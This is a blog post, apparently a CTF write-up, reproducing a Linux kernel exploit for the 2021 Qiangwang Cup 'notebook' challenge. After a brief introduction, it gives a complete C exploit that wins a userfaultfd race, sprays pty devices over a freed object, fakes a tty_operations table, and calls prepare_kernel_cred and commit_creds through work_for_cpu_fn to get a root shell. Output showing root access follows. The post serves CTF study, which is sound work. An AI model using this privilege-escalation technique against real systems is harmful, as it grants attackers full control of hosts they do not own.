2021强网杯 notebook 题目复现

好久没写博客了,拖了好久的复现凑着刚做完写一篇,懒🐶不知道还能更多久博客,批事越来越多,👴越来越接近失业,绝绝子。

这题从长亭科技那里学到了一个很好用的函数:work_for_cpu_fn,可以通过tty结构体调用ioctl去任意执行函数,并且还能存回来返回值(牛皮),免得再去用rop了。

主要漏洞还是利用uffd制造的race condition,使用krealloc去释放object,然后再去打开pty设备占坑。

堆地址直接可以通过驱动得到,把fake ops(work_for_cpu_fn)放进去就好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <poll.h>
#include <sched.h>
#include <semaphore.h>
#include <linux/fs.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <pthread.h>
#include <stdint.h>
#include <errno.h>
#include <pty.h>

#define TTY_STRUCT_SIZE 0x2e0
#define BIG_NUM 0x2000
#define DEAD_ADDR 0x1314000
#define OBJECT_NUM 8
#define MAX_PTY_SPRAY 64
#define die(msg) do {puts(msg); exit(-1);} while(0)

const uint64_t v_prepare_kernel_cred = 0xffffffff810a9ef0;
const uint64_t v_commit_creds = 0xffffffff810a9b40;
const uint64_t v_work_for_cpu_fn = 0xffffffff8109eb90;
const uint64_t ptm_unix98_ops_off = 0xe8e440;

long PAGE_SIZE;
int fd;
long uffd;
char g_buffer[0x1000];

struct userarg {
size_t idx;
size_t size;
void *buf;
};

struct {
uint64_t mem;
uint64_t size;
} Note[0x10];

static void add_note(size_t idx, size_t size, void *buf)
{
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(fd, 0x100, &arg);
}

static void edit_note(size_t idx, size_t newsize, void *buf)
{
struct userarg arg = {
.idx = idx,
.size = newsize,
.buf = buf,
};
ioctl(fd, 0x300, &arg);
}

static void del_note(size_t idx)
{
struct userarg arg = {
.idx = idx,
};
ioctl(fd, 0x200, &arg);
}

static void gift(void *buf)
{
struct userarg arg = {
.buf = buf,
};
ioctl(fd, 0x64, &arg);
memcpy(Note, arg.buf, sizeof(Note));
}

sem_t sem_edit;
// this thread functino is to use krealloc to free old object
void *victim_therad_edit(void *n)
{
sem_wait(&sem_edit);
edit_note((int)n, BIG_NUM, DEAD_ADDR);
return 0;
}

sem_t sem_add;
//this thread function is to change size, bypass object size check
void *victim_thread_add(void *n)
{
sem_wait(&sem_add);
add_note((int)n, 0x60, DEAD_ADDR);
return 0;
}

static void register_faultpage()
{
struct uffdio_api uapi;
struct uffdio_register ureg;
//pthread_t pthr;
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if(uffd == -1)
die("[-] uffd sycall error!");
puts("[*] register uffd.");

uapi.api = UFFD_API;
uapi.features = 0;
if(ioctl(uffd, UFFDIO_API, &uapi) == -1)
die("[-] ioctl-UFFDIO_API.");

void *ret = mmap((void *)DEAD_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (ret == MAP_FAILED)
die("[-] mmap error!");

printf("[*] register %lx page addr.\n",DEAD_ADDR);

ureg.range.start = (unsigned long) DEAD_ADDR;
ureg.range.len = PAGE_SIZE;
ureg.mode = UFFDIO_REGISTER_MODE_MISSING;
if( ioctl(uffd, UFFDIO_REGISTER, &ureg) == -1 )
die("[-] ioctl-UFFDIO_REGISTER!");

// not deal with page fault, stuck fault thread
}

// actually, don't handle fault, just show some info
static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;

static char *page = NULL;
ssize_t nread;

long uffd = (long ) arg;

for (;;)
{
struct pollfd pfd;
int nready;
pfd.fd = uffd;
pfd.events = POLLIN;
nread = poll(&pfd, 1, -1);
if(nread == -1)
die("poll error!");

puts("**********fault_handler_thread**********");
//read a event from the userfaultfd
nread = read(uffd, &msg, sizeof(msg));
if(nread == 0)
die("EOF on uffd!");

if(nread == -1)
die("read event error!");

// only expect pagefault event
if(msg.event != UFFD_EVENT_PAGEFAULT)
die("unexpected event on uffd!");

//show info about page fault event
puts(" UFFD_EVENT_PAGEFAULT event:");
printf("flags = %llx\n", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

// do not handle this page fault, let victim thread stuck forever
puts("***************** end. *****************");

}

}

static void __attribute__((constructor)) init_(void)
{
PAGE_SIZE = sysconf(_SC_PAGESIZE);
if(PAGE_SIZE == -1)
die("[-] get page size error!");
printf("[*] page size is:%ld\n",PAGE_SIZE);
fd = open("/dev/notebook",2);
if (fd == -1)
die("[*] open device error!");
printf("[+] open device success, fd:%d\n",fd);
}

int main()
{
char *name = calloc(1,0x100);
sem_init(&sem_add, 0, 0);
sem_init(&sem_edit, 0, 0);

register_faultpage();

for (int i=0; i<OBJECT_NUM; i++)
{
add_note(i, 0x10, name);
edit_note(i, TTY_STRUCT_SIZE, name);
}

//*** create a hanlder thread, test ***
//pthread_t pt;
//pthread_create(&pt, 0, fault_handler_thread, (void *)uffd);

pthread_t pthr;
// release object
for (int i=0; i<OBJECT_NUM; i++)
if(pthread_create(&pthr, 0, victim_therad_edit, (void*)i))
die("[*] error on pthread_create edit.");

for (int i=0; i<OBJECT_NUM; i++)
sem_post(&sem_edit);

puts("[*] sleeping one sec for sem edit.");
sleep(1);

int pty_masters[MAX_PTY_SPRAY], pty_slaves[MAX_PTY_SPRAY];
for (int i=0;i<MAX_PTY_SPRAY;i++)
if(openpty(&pty_masters[i], &pty_slaves[i], 0, 0, 0) == -1)
die("[*] open pty error!");

//change note size
for (int i=0;i<OBJECT_NUM;i++)
if(pthread_create(&pthr, 0, victim_thread_add, i))
die("[*] error on pthread_create add.");

for (int i=0;i<OBJECT_NUM;i++)
sem_post(&sem_add);
puts("[*] sleeping one sec for sem add.");
sleep(1);

uint64_t kernel_slide = 0;
uint64_t kernel_base = 0;
int victim_idx = 0;
// probe
for (int i=0; i < OBJECT_NUM; i++)
{
printf("[*] check Note :%d\n", i);
read(fd, g_buffer, i);
uint64_t ops_str = *(uint64_t *)(g_buffer + 24);

if( (ops_str & 0xfff) == (ptm_unix98_ops_off & 0xfff))
{
victim_idx = i;
kernel_base = ops_str - ptm_unix98_ops_off;
kernel_slide = kernel_base - 0xffffffff81000000;
printf("[*] got it, index: %d\n",i);
break;
}
}

if(!kernel_base)
die("[-] failed to find kernel base.");

printf("[+] kernel base: %p\n", (void *)kernel_base);

uint64_t prepare_kernel_cred = v_prepare_kernel_cred + kernel_slide;
uint64_t commit_creds = v_commit_creds + kernel_slide;

// create a object for fake tty ops struct
add_note(OBJECT_NUM, 0x10, name);
edit_note(OBJECT_NUM, 248, name);
// emmm, put fake tyy_ops in heap
// tty_ops
// {
// offset:96->ioctl
// }
// ...
memset(g_buffer, 0, 0x60);
*(uint64_t *)((void *)g_buffer+96) = v_work_for_cpu_fn + kernel_slide;
write(fd, g_buffer, OBJECT_NUM);
memset(g_buffer, 0, sizeof(g_buffer));

// get object address
gift((void *)g_buffer);
printf("[*] set fake tty_operations table at %p\n", (void *)Note[OBJECT_NUM].mem);

// get real tty struct content
read(fd, g_buffer, victim_idx);
uint64_t old_value_at_48 = *(uint64_t *)(g_buffer + 48);

// change tty_operations pointer
*(uint64_t *)(g_buffer + 24) = Note[OBJECT_NUM].mem;
*(uint64_t *)(g_buffer + 32) = prepare_kernel_cred;
*(uint64_t *)(g_buffer + 40) = 0;
write(fd, g_buffer, victim_idx);


// call prepare_kernel_cred(0);
puts("[*] trying to call prepare_kernel_cred();");
for(int i=0; i<MAX_PTY_SPRAY; i++)
ioctl(pty_masters[i], 1, 1);

// get return prepare_kernel_cred value
read(fd, g_buffer, victim_idx);
uint64_t new_value_at_48 = *(uint64_t *)(g_buffer + 48);
printf("[+] prepare_kernel_cred() = %p\n", (void *)new_value_at_48);

*(uint64_t *)(g_buffer + 32) = commit_creds; // rip
*(uint64_t *)(g_buffer + 40) = new_value_at_48; // rdi
*(uint64_t *)(g_buffer + 48) = old_value_at_48; // ret value
write(fd, g_buffer, victim_idx);

// call commit_creds()
puts("[*] trying to call commit_creds();");
for (int i=0;i<MAX_PTY_SPRAY;i++)
ioctl(pty_masters[i], 1, 1);

printf("[*] getuid() = %d\n", getuid());

if(getuid() == 0){
puts("[*] rooted.");
execlp("/bin/sh", "/bin/sh", NULL);
} else {
die("[*] root failed.");
}

//die("main exit.");
return 0;
}

result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/ # ./exp
[*] page size is:4096
[+] open device success, fd:3
[*] register uffd.
[*] register 1314000 page addr.
[*] sleeping one sec for sem edit.
[*] sleeping one sec for sem add.
[*] check Note :0
[*] check Note :1
[*] check Note :2
[*] check Note :3
[*] got it, index: 3
[+] kernel base: 0xffffffff9a400000
[*] set fake tty_operations table at 0xffff92934db64a00
[*] trying to call prepare_kernel_cred();
[+] prepare_kernel_cred() = 0xffff92934e42e180
[*] trying to call commit_creds();
[*] getuid() = 0
[*] rooted.
/ # whoami
root
/ # cat flag
flag{this_is_a_flag}